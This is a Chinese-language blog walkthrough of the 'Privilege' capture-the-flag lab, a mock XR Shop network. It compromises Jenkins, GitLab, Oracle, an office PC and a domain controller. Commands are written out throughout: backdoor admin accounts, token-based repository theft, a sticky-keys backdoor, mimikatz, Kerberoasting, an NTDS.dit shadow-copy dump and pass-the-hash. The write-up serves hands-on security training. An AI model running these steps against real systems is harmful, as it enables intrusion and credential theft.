第一次完整复现春秋云镜上的靶场(感谢lazy_forever送来的沙砾),和lazy一起复现的,收获很多(有一说一,这个靶场真挺难的,虽然云镜上面标的简单)
靶标介绍:
在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。
内网这方面平时确实接触的少,还得多练
一眼Wordpress站(因为我也有这篇初始文章)

FLAG01
请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。
首先用fscan扫一下网站,找到一个8080端口和80端口,同时扫出来了源码www.zip

下载源码,根据题目提示去找文件包含(file_get_contents)

根据Jenkins的默认密码保存路径读取admin的密码
admin:510235cf43f14e83b88a9f144199655b

登录后台,发现有一个地方可以执行命令

创建用户+将用户加入管理员组,然后rdp连接(3389端口)
full address:s:39.100.183.196
username:s:yuq1ng
println 'net user Yuq1Ng Yuq1Ng@jenkins /add'.execute().text
println 'net localgroup administrators Yuq1Ng /add'.execute().text
得到flag01

FLAG02
管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。
C:\Users\Administrator\flag>fscan -h 172.22.14.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.46:135 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.7:139 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.16:8060 open
172.22.14.7:8080 open
172.22.14.31:1521 open
172.22.14.7:3306 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:88 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetInfo
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] NetInfo
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetInfo
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file
已完成 22/22
[*] 扫描结束,耗时: 1m2.0018895s
可以先上传一个frps,代理进内网,然后本地用proxifier挂代理
内网段东西挺多的
172.22.14.7是刚刚那个wp站,进内网后直接拿flag了

fscan扫内网段

查看gitlab密钥

用上一个站命令执行那个位置解密运行得到:

glpat-7kD_qLH2PiQv_ywB9hz2

挂上代理看仓库
proxychains curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git
将仓库clone下来,进仓库看见用户名密码

用odat打Oracle数据库(这个直接安装就行,不过要用proxychains挂上代理,不然连不上kali的仓库)还是添加管理员用户。
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user yuq1ng 123456@qwe /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators yuq1ng /add'
proxifier连接

rdp连内网机器
full address:s:172.22.14.31
username:s:yuq1ng

FLAG03
攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。
还记得flag2的时候咱们clone了四个仓库,现在去查看其中一个可疑的

根据fscan扫的结果,这个机器正好有,直接用rdp远程桌面连接
full address:s:172.22.14.46
username:s:zhangshuai

根据题目提示查看用户特权,顺带查看登录用户的信息。

发现该用户属于WindowsRM用户组
奇安信攻防社区-攻防技巧 | 域渗透中WinRM的技巧细节与利用
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

发现多了一个特权,同时增加进程工作集的特权已启用
这个时候我们就要继续提权了
这里有一篇文章特别好:渗透技巧-Windows九种权限的利用
这里我们选择劫持exe
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe
远程桌面连接里面锁定用户,在登录处shift 5次触发粘滞键,成功提权。

得到flag

FLAG04
我们还有一个DC(域控机器)没打
尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。

172.22.14.11
需要在上一个机器上抓取凭证,上传mimikatz,在system权限下抓凭据

1a40cb15ea9dd7316ec8c202813d1841
proxychains python GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :1a40cb15ea9dd7316ec8c202813d1841 -dc-ip 172.22.14.11
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :1a40cb15ea9dd7316ec8c202813d1841 -dc-ip 172.22.14.11 -request-user tianjing
利用 hashcat 破解 hash
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
得到tianjing:DPQSXSXgh2
使用evil-winrm登录 dc

有备份以及还原文件和目录的权限,尝试导出sam和system。
首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh
上面是用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距(好复杂)
创建目录Yuq1Ng,然后上传raj.dsh到靶机

执行diskshadow /s raj.dsh
然后复制到当前目录 RoboCopy /b z:\windows\ntds . ntds.dit
然后reg save hklm\system system
备份注册表,再下载到本地

将ntds.dit和system下载到本地,然后破解域管账号的hash

最后使用evil-winrm登录域管账户(得到的是hash,用-H登录)
proxychains evil-winrm -i 172.22.14.11 -u Administrator -H 70c39b547b7d8adec35ad7c09fb1d277

得到flag04
不知不觉好像又写了一遍,好神奇的感觉,从刚开始执行命令无法dir到后来创建管理员用户进入第一个靶机拿到flag,再到打Oracle得到第二个flag,然后是利用Windows神奇的提权方式得到第三个flag,最后是用mimikatz抓取凭证+通过ntds.dit和system得到域管用户的hash登录域管机器得到最后一个flag。
像是做梦一样,中间参考了一些很优秀的博客,和lazy师傅在实验室打了一下午的内网渗透,很好的经历。也是第一次打到最后(上次lazy师傅开的wdb22半决那个没打完就干别的去了😣)
总结:队长能不能送我一点沙砾👻
本文地址: 云镜-Privilege